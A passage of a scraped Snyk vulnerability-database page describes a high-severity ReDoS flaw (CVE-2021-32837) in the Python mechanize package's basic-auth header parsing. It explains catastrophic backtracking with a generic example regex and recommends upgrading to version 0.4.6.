href=\"https://github.com/python-mechanize/mechanize/blob/3acb1836f3fd8edc5a758a417dd46b53832ae3b5/mechanize/_urllib2_fork.py#L878-L879\">Vulnerable Code</a></li>\n</ul>\n</div></div> </div></div></div></div></div></main> <footer id=\"slimfooter\" role=\"contentinfo\" marketingSiteHost=\"https://snyk.io\" class=\"site-footer\" data-v-415ae652 data-v-0fde60d6><div class=\"vue--layout-container site-footer__container\" data-v-43af9ae8 data-v-415ae652><div class=\"nav__groups\" data-v-43af9ae8 data-v-415ae652><nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Product</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/open-source-security-management/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Snyk Open Source\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/snyk-code/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Snyk Code<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/container-vulnerability-management/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Snyk Container\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/infrastructure-as-code-security/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Snyk Infrastructure as Code\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/test/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Test with Github<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/test/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Test with CLI<!----><!----></a></li></ul></nav> <nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Resources</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://security.snyk.io/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Vulnerability DB<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://docs.snyk.io/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Documentation<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://security.snyk.io/disclosed-vulnerabilities\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Disclosed Vulnerabilities\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/blog/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Blog<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://support.snyk.io/hc/en-us\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>FAQs<!----><!----></a></li></ul></nav> <nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Company</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/about\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>About<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/careers/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Jobs<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"mailto:contact@snyk.io\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Contact<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/policies/terms-of-service/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Policies\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://preferences.snyk.io/dont_sell\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Do Not Sell My Personal Information\n            <!----><!----></a></li></ul></nav> <nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Contact Us</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"mailto:support@snyk.io\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Support<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/vulnerability-disclosure\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Report a new vuln\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://github.com/snyk/press-kit\" rel=\"nofollow\" class=\"nav__list__item__link\" data-v-43af9ae8 data-v-415ae652>Press Kit</a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/events\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Events<!----><!----></a></li></ul></nav> <nav class=\"nav__social\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Find us online</h3> <ul class=\"list-social\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://twitter.com/snyksec\" title=\"Twitter\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon twitter-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M22.46,6C21.69,6.35 20.86,6.58 20,6.69C20.88,6.16 21.56,5.32 21.88,4.31C21.05,4.81 20.13,5.16 19.16,5.36C18.37,4.5 17.26,4 16,4C13.65,4 11.73,5.92 11.73,8.29C11.73,8.63 11.77,8.96 11.84,9.27C8.28,9.09 5.11,7.38 3,4.79C2.63,5.42 2.42,6.16 2.42,6.94C2.42,8.43 3.17,9.75 4.33,10.5C3.62,10.5 2.96,10.3 2.38,10C2.38,10 2.38,10 2.38,10.03C2.38,12.11 3.86,13.85 5.82,14.24C5.46,14.34 5.08,14.39 4.69,14.39C4.42,14.39 4.15,14.36 3.89,14.31C4.43,16 6,17.26 7.89,17.29C6.43,18.45 4.58,19.13 2.56,19.13C2.22,19.13 1.88,19.11 1.54,19.07C3.44,20.29 5.7,21 8.12,21C16,21 20.33,14.46 20.33,8.79C20.33,8.6 20.33,8.42 20.32,8.23C21.16,7.63 21.88,6.87 22.46,6Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.youtube.com/channel/UCh4dJzctb0NhSibjU-e2P6w\" title=\"Youtube\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon youtube-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M10,15L15.19,12L10,9V15M21.56,7.17C21.69,7.64 21.78,8.27 21.84,9.07C21.91,9.87 21.94,10.56 21.94,11.16L22,12C22,14.19 21.84,15.8 21.56,16.83C21.31,17.73 20.73,18.31 19.83,18.56C19.36,18.69 18.5,18.78 17.18,18.84C15.88,18.91 14.69,18.94 13.59,18.94L12,19C7.81,19 5.2,18.84 4.17,18.56C3.27,18.31 2.69,17.73 2.44,16.83C2.31,16.36 2.22,15.73 2.16,14.93C2.09,14.13 2.06,13.44 2.06,12.84L2,12C2,9.81 2.16,8.2 2.44,7.17C2.69,6.27 3.27,5.69 4.17,5.44C4.64,5.31 5.5,5.22 6.82,5.16C8.12,5.09 9.31,5.06 10.41,5.06L12,5C16.19,5 18.8,5.16 19.83,5.44C20.73,5.69 21.31,6.27 21.56,7.17Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.facebook.com/snyksec\" title=\"Facebook\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon facebook-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2.04C6.5 2.04 2 6.53 2 12.06C2 17.06 5.66 21.21 10.44 21.96V14.96H7.9V12.06H10.44V9.85C10.44 7.34 11.93 5.96 14.22 5.96C15.31 5.96 16.45 6.15 16.45 6.15V8.62H15.19C13.95 8.62 13.56 9.39 13.56 10.18V12.06H16.34L15.89 14.96H13.56V21.96A10 10 0 0 0 22 12.06C22 6.53 17.5 2.04 12 2.04Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.linkedin.com/company/snyk\" title=\"LinkedIn\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon linkedin-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M19 3A2 2 0 0 1 21 5V19A2 2 0 0 1 19 21H5A2 2 0 0 1 3 19V5A2 2 0 0 1 5 3H19M18.5 18.5V13.2A3.26 3.26 0 0 0 15.24 9.94C14.39 9.94 13.4 10.46 12.92 11.24V10.13H10.13V18.5H12.92V13.57C12.92 12.8 13.54 12.17 14.31 12.17A1.4 1.4 0 0 1 15.71 13.57V18.5H18.5M6.88 8.56A1.68 1.68 0 0 0 8.56 6.88C8.56 5.95 7.81 5.19 6.88 5.19A1.69 1.69 0 0 0 5.19 6.88C5.19 7.81 5.95 8.56 6.88 8.56M8.27 18.5V10.13H5.5V18.5H8.27Z\"><!----></path></svg></span></a></li></ul> <h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Track our development</h3> <ul class=\"list-social\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://github.com/Snyk/\" title=\"Github\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon github-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12,2A10,10 0 0,0 2,12C2,16.42 4.87,20.17 8.84,21.5C9.34,21.58 9.5,21.27 9.5,21C9.5,20.77 9.5,20.14 9.5,19.31C6.73,19.91 6.14,17.97 6.14,17.97C5.68,16.81 5.03,16.5 5.03,16.5C4.12,15.88 5.1,15.9 5.1,15.9C6.1,15.97 6.63,16.93 6.63,16.93C7.5,18.45 8.97,18 9.54,17.76C9.63,17.11 9.89,16.67 10.17,16.42C7.95,16.17 5.62,15.31 5.62,11.5C5.62,10.39 6,9.5 6.65,8.79C6.55,8.54 6.2,7.5 6.75,6.15C6.75,6.15 7.59,5.88 9.5,7.17C10.29,6.95 11.15,6.84 12,6.84C12.85,6.84 13.71,6.95 14.5,7.17C16.41,5.88 17.25,6.15 17.25,6.15C17.8,7.5 17.45,8.54 17.35,8.79C18,9.5 18.38,10.39 18.38,11.5C18.38,15.32 16.04,16.16 13.81,16.41C14.17,16.72 14.5,17.33 14.5,18.26C14.5,19.6 14.5,20.68 14.5,21C14.5,21.27 14.66,21.59 15.17,21.5C19.14,20.16 22,16.42 22,12A10,10 0 0,0 12,2Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.npmjs.com/package/snyk\" title=\"NPM\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><svg width=\"24\" height=\"24\" xmlns=\"http://www.w3.org/2000/svg\" class=\"npm-icon\" data-v-43af9ae8 data-v-415ae652><path d=\"M0 29h14.609V6.96h6.742V29h6.743V0H0z\" data-v-43af9ae8 data-v-415ae652></path></svg></a></li></ul> <div class=\"footer-banner\" data-v-43af9ae8 data-v-415ae652><a href=\"https://www.devseccon.com/the-secure-developer-podcast/\" target=\"_blank\" rel=\"noopener nofollow\" class=\"podcast-ad\" data-v-43af9ae8 data-v-415ae652><img src=\"/_nuxt/img/community-banner-footer.3085cc3.svg\" alt=\"DevSecOps Community Podcast\" width=\"220\" height=\"68\" data-v-43af9ae8 data-v-415ae652></a></div></nav></div> <div class=\"site-footer-bottom\" data-v-43af9ae8 data-v-415ae652><span aria-label=\"Snyk\" role=\"img\" data-snyk-test=\"SiteFooter: logo\" class=\"material-design-icon snyk-icon\" data-v-415ae652><svg fill=\"#fff\" height=\"60\" width=\"60\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path fill=\"#fff\" d=\"M3.646 14.917c-0.676 0-1.225-0.116-1.695-0.341l0.143-1.080c0.497 0.244 1.057 0.36 1.526 0.36 0.343 0 0.568-0.117 0.568-0.322 0-0.593-2.139-0.451-2.139-2 0-0.99 0.909-1.511 2.049-1.511 0.568 0 1.154 0.154 1.534 0.288l-0.154 1.062c-0.398-0.154-0.94-0.297-1.391-0.297-0.278 0-0.504 0.098-0.504 0.278 0 0.585 2.184 0.469 2.184 1.98 0 1.006-0.895 1.583-2.121 1.583l-0 0zM9.56 14.816v-2.675c0-0.611-0.271-0.9-0.786-0.9-0.251 0-0.515 0.071-0.695 0.18v3.395h-1.587v-4.636l1.553-0.128-0.038 0.758h0.053c0.335-0.45 0.902-0.792 1.58-0.792 0.812 0 1.514 0.503 1.514 1.692v3.106h-1.593zM20.046 14.816l-1.271-2.206h-0.128v2.205h-1.587v-5.491l1.587-2.476v5.124c0.316-0.386 1.38-1.853 1.38-1.853h1.958l-1.857 1.961 1.921 2.739h-2.004v-0.004zM15.004 10.134l-0.651 2.115c-0.127 0.398-0.251 1.129-0.251 1.129s-0.098-0.758-0.233-1.156l-0.696-2.089h-1.778l1.933 4.682c-0.263 0.623-0.669 1.148-1.211 1.148-0.098 0-0.195-0.004-0.29-0.015l-0.631 0.975c0.199 0.112 0.579 0.229 1.030 0.229 1.173 0 1.959-0.949 2.508-2.352l1.842-4.667-1.572 0.001z\"></path></svg></span> <div class=\"subhead\" data-v-43af9ae8 data-v-415ae652><p data-v-43af9ae8 data-v-415ae652>© 2023 Snyk Limited</p> <p data-v-43af9ae8 data-v-415ae652>Registered in England and Wales. Company number: 09677925</p> <p data-v-43af9ae8 data-v-415ae652>Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.</p></div></div></div> <div class=\"waves-wrapper\" data-v-415ae652></div></footer></div></div></div><script>window.__NUXT__=(function(a,b,c,d,e,f,g){return {layout:\"default\",data:[{id:\"SNYK-PYTHON-MECHANIZE-3232926\",title:\"Regular Expression Denial of Service (ReDoS)\",description:\"## Overview\\n[mechanize](https:\\u002F\\u002Fpypi.org\\u002Fproject\\u002Fmechanize) is a Stateful, programmatic web browsing\\n\\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to insecure usage of regular expression in the `compile` method used in the `AbstractBasicAuthHandler` class. Exploiting this vulnerability is possible when parsing a malformed auth header.\\n\\n## Details\\n\\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\\n\\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\\n\\nLet’s take the following regular expression as an example:\\n```js\\nregex = \\u002FA(B|C+)+D\\u002F\\n```\\n\\nThis regular expression accomplishes the following:\\n- `A` The string must start with the letter 'A'\\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\\n- `D` Finally, we ensure this section of the string ends with a 'D'\\n\\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\\n\\nIt most cases, it doesn't take very long for a regex engine to find a match:\\n\\n```bash\\n$ time node -e '\\u002FA(B|C+)+D\\u002F.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\\\")'\\n0.04s user 0.01s system 95% cpu 0.052 total\\n\\n$ time node -e '\\u002FA(B|C+)+D\\u002F.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\\\")'\\n1.79s user 0.02s system 99% cpu 1.812 total\\n```\\n\\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\\n\\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\\n\\nLet's look at how our expression runs into this problem, using a shorter string: \\\"ACCCX\\\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\\n1. CCC\\n2. CC+C\\n3. C+CC\\n4. C+C+C.\\n\\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https:\\u002F\\u002Fregex101.com\\u002Fdebugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\\n\\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\\n\\n| String | Number of C's | Number of steps |\\n| -------|-------------:| -----:|\\n| ACCCX | 3 | 38\\n| ACCCCX | 4 | 71\\n| ACCCCCX | 5 | 136\\n| ACCCCCCCCCCCCCCX | 14 | 65,553\\n\\n\\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\\n\\n## Remediation\\nUpgrade `mechanize` to version 0.4.6 or higher.\\n## References\\n- [GitHub Commit](https:\\u002F\\u002Fgithub.com\\u002Fpython-mechanize\\u002Fmechanize\\u002Fcommit\\u002Fdd05334448e9f39814bab044d2eaa5ef69b410d6)\\n- [GitHub Release](https:\\u002F\\u002Fgithub.com\\u002Fpython-mechanize\\u002Fmechanize\\u002Freleases\\u002Ftag\\u002Fv0.4.6)\\n- [Security Advisory](https:\\u002F\\u002Fsecuritylab.github.com\\u002Fadvisories\\u002FGHSL-2021-108-python-mechanize-mechanize\\u002F)\\n- [Vulnerable Code](https:\\u002F\\u002Fgithub.com\\u002Fpython-mechanize\\u002Fmechanize\\u002Fblob\\u002F3acb1836f3fd8edc5a758a417dd46b53832ae3b5\\u002Fmechanize\\u002F_urllib2_fork.py#L878-L879)\\n\",severity:\"high\",packageName:b,packageManager:c,publicationTime:\"2023-01-18T14:09:04.952036Z\",disclosureTime:\"2023-01-18T14:05:40.006000Z\",credit:[\"Kevin Backhouse\"],identifiers:{CVE:[\"CVE-2021-32837\"],CWE:[\"CWE-1333\"]},semver:{vulnerable:[d]},CVSSv3:\"CVSS:3.1\\u002FAV:N\\u002FAC:L\\u002FPR:N\\u002FUI:N\\u002FS:U\\u002FC:N\\u002FI:N\\u002FA:H\\u002FE:P\",cvssScore:7.5,language:\"python\",socialTrendAlert:a,proprietary:a,malicious:a,exploitMaturity:\"Proof of Concept\",cvssDetails:[],breadcrumbItems:[{url:\"\\u002Fvuln\",label:\"Snyk Vulnerability Database\"},{label:c,url:\"\\u002Fvuln\\u002Fpip\"},{label:b,findByTestHook:\"filter\"}],vulnDescription:{Overview:\"\\u003Cp\\u003E\\u003Ca href=\\\"https:\\u002F\\u002Fpypi.org\\u002Fproject\\u002Fmechanize\\\"\\u003Emechanize\\u003C\\u002Fa\\u003E is a Stateful, programmatic web browsing\\u003C\\u002Fp\\u003E\\n\\u003Cp\\u003EAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to insecure usage of regular expression in the \\u003Ccode\\u003Ecompile\\u003C\\u002Fcode\\u003E method used in the \\u003Ccode\\u003EAbstractBasicAuthHandler\\u003C\\u002Fcode\\u003E class. Exploiting this vulnerability is possible when parsing a malformed auth header.\\u003C\\u002Fp\\u003E\\n\",Details:\"\\u003Cp\\u003EDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\\u003C\\u002Fp\\u003E\\n\\u003Cp\\u003EThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren&#39;t very intuitive and can ultimately end up making it easy for attackers to take your site down.\\u003C\\u002Fp\\u003E\\n\\u003Cp\\u003ELet’s take the following regular expression as an example:\\u003C\\u002Fp\\u003E\\n\\u003Cpre\\u003E\\u003Ccode class=\\\"language-js\\\"\\u003Eregex = \\u002FA(B|C+)+D\\u002F\\n\\u003C\\u002Fcode\\u003E\\u003C\\u002Fpre\\u003E\\n\\u003Cp\\u003EThis regular expression accomplishes the following:\\u003C\\u002Fp\\u003E\\n\\u003Cul\\u003E\\n\\u003Cli\\u003E\\u003Ccode\\u003EA\\u003C\\u002Fcode\\u003E The string must start with the letter &#39;A&#39;\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003E\\u003Ccode\\u003E(B|C+)+\\u003C\\u002Fcode\\u003E The string must then follow the letter A with either the letter &#39;B&#39; or some number of occurrences of the letter &#39;C&#39; (the \\u003Ccode\\u003E+\\u003C\\u002Fcode\\u003E matches one or more times). The \\u003Ccode\\u003E+\\u003C\\u002Fcode\\u003E at the end of this section states that we can look for one or more matches of this section.\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003E\\u003Ccode\\u003ED\\u003C\\u002Fcode\\u003E Finally, we ensure this section of the string ends with a &#39;D&#39;\\u003C\\u002Fli\\u003E\\n\\u003C\\u002Ful\\u003E\\n\\u003Cp\\u003EThe expression would match inputs such as \\u003Ccode\\u003EABBD\\u003C\\u002Fcode\\u003E, \\u003Ccode\\u003EABCCCCD\\u003C\\u002Fcode\\u003E, \\u003Ccode\\u003EABCBCCCD\\u003C\\u002Fcode\\u003E and \\u003Ccode\\u003EACCCCCD\\u003C\\u002Fcode\\u003E\\u003C\\u002Fp\\u003E\\n\\u003Cp\\u003EIt most cases, it doesn&#39;t take very long for a regex engine to find a match:\\u003C\\u002Fp\\u003E\\n\\u003Cpre\\u003E\\u003Ccode class=\\\"language-bash\\\"\\u003E$ time node -e &#39;\\u002FA(B|C+)+D\\u002F.test(&quot;ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD&quot;)&#39;\\n0.04s user 0.01s system 95% cpu 0.052 total\\n\\n$ time node -e &#39;\\u002FA(B|C+)+D\\u002F.test(&quot;ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX&quot;)&#39;\\n1.79s user 0.02s system 99% cpu 1.812 total\\n\\u003C\\u002Fcode\\u003E\\u003C\\u002Fpre\\u003E\\n\\u003Cp\\u003EThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\\u003C\\u002Fp\\u003E\\n\\u003Cp\\u003EMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as \\u003Cem\\u003Ecatastrophic backtracking\\u003C\\u002Fem\\u003E.\\u003C\\u002Fp\\u003E\\n\\u003Cp\\u003ELet&#39;s look at how our expression runs into this problem, using a shorter string: &quot;ACCCX&quot;. While it seems fairly straightforward, there are still four different ways that the engine could match those three C&#39;s:\\u003C\\u002Fp\\u003E\\n\\u003Col\\u003E\\n\\u003Cli\\u003ECCC\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003ECC+C\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003EC+CC\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003EC+C+C.\\u003C\\u002Fli\\u003E\\n\\u003C\\u002Fol\\u003E\\n\\u003Cp\\u003EThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use \\u003Ca href=\\\"https:\\u002F\\u002Fregex101.com\\u002Fdebugger\\\"\\u003ERegEx 101 debugger\\u003C\\u002Fa\\u003E to see the engine has to take a total of 38 steps before it can determine the string doesn&#39;t match.\\u003C\\u002Fp\\u003E\\n\\u003Cp\\u003EFrom there, the number of steps the engine must use to validate a string just continues to grow.\\u003C\\u002Fp\\u003E\\n\\u003Ctable\\u003E\\n\\u003Cthead\\u003E\\n\\u003Ctr\\u003E\\n\\u003Cth\\u003EString\\u003C\\u002Fth\\u003E\\n\\u003Cth align=\\\"right\\\"\\u003ENumber of C&#39;s\\u003C\\u002Fth\\u003E\\n\\u003Cth align=\\\"right\\\"\\u003ENumber of steps\\u003C\\u002Fth\\u003E\\n\\u003C\\u002Ftr\\u003E\\n\\u003C\\u002Fthead\\u003E\\n\\u003Ctbody\\u003E\\u003Ctr\\u003E\\n\\u003Ctd\\u003EACCCX\\u003C\\u002Ftd\\u003E\\n\\u003Ctd align=\\\"right\\\"\\u003E3\\u003C\\u002Ftd\\u003E\\n\\u003Ctd align=\\\"right\\\"\\u003E38\\u003C\\u002Ftd\\u003E\\n\\u003C\\u002Ftr\\u003E\\n\\u003Ctr\\u003E\\n\\u003Ctd\\u003EACCCCX\\u003C\\u002Ftd\\u003E\\n\\u003Ctd align=\\\"right\\\"\\u003E4\\u003C\\u002Ftd\\u003E\\n\\u003Ctd align=\\\"right\\\"\\u003E71\\u003C\\u002Ftd\\u003E\\n\\u003C\\u002Ftr\\u003E\\n\\u003Ctr\\u003E\\n\\u003Ctd\\u003EACCCCCX\\u003C\\u002Ftd\\u003E\\n\\u003Ctd align=\\\"right\\\"\\u003E5\\u003C\\u002Ftd\\u003E\\n\\u003Ctd align=\\\"right\\\"\\u003E136\\u003C\\u002Ftd\\u003E\\n\\u003C\\u002Ftr\\u003E\\n\\u003Ctr\\u003E\\n\\u003Ctd\\u003EACCCCCCCCCCCCCCX\\u003C\\u002Ftd\\u003E\\n\\u003Ctd align=\\\"right\\\"\\u003E14\\u003C\\u002Ftd\\u003E\\n\\u003Ctd align=\\\"right\\\"\\u003E65,553\\u003C\\u002Ftd\\u003E\\n\\u003C\\u002Ftr\\u003E\\n\\u003C\\u002Ftbody\\u003E\\u003C\\u002Ftable\\u003E\\n\\u003Cp\\u003EBy the time the string includes 14 C&#39;s, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\\u003C\\u002Fp\\u003E\\n\",References:\"\\u003Cul\\u003E\\n\\u003Cli\\u003E\\u003Ca href=\\\"https:\\u002F\\u002Fgithub.com\\u002Fpython-mechanize\\u002Fmechanize\\u002Fcommit\\u002Fdd05334448e9f39814bab044d2eaa5ef69b410d6\\\"\\u003EGitHub Commit\\u003C\\u002Fa\\u003E\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003E\\u003Ca href=\\\"https:\\u002F\\u002Fgithub.com\\u002Fpython-mechanize\\u002Fmechanize\\u002Freleases\\u002Ftag\\u002Fv0.4.6\\\"\\u003EGitHub Release\\u003C\\u002Fa\\u003E\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003E\\u003Ca href=\\\"https:\\u002F\\u002Fsecuritylab.github.com\\u002Fadvisories\\u002FGHSL-2021-108-python-mechanize-mechanize\\u002F\\\"\\u003ESecurity Advisory\\u003C\\u002Fa\\u003E\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003E\\u003Ca href=\\\"https:\\u002F\\u002Fgithub.com\\u002Fpython-mechanize\\u002Fmechanize\\u002Fblob\\u002F3acb1836f3fd8edc5a758a417dd46b53832ae3b5\\u002Fmechanize\\u002F_urllib2_fork.py#L878-L879\\\"\\u003EVulnerable Code\\u003C\\u002Fa\\u003E\\u003C\\u002Fli\\u003E\\n\\u003C\\u002Ful\\u003E\\n\"},vulnerableVersions:d,remediation:\"\\u003Cp\\u003EUpgrade \\u003Ccode\\u003Emechanize\\u003C\\u002Fcode\\u003E to version 0.4.6 or 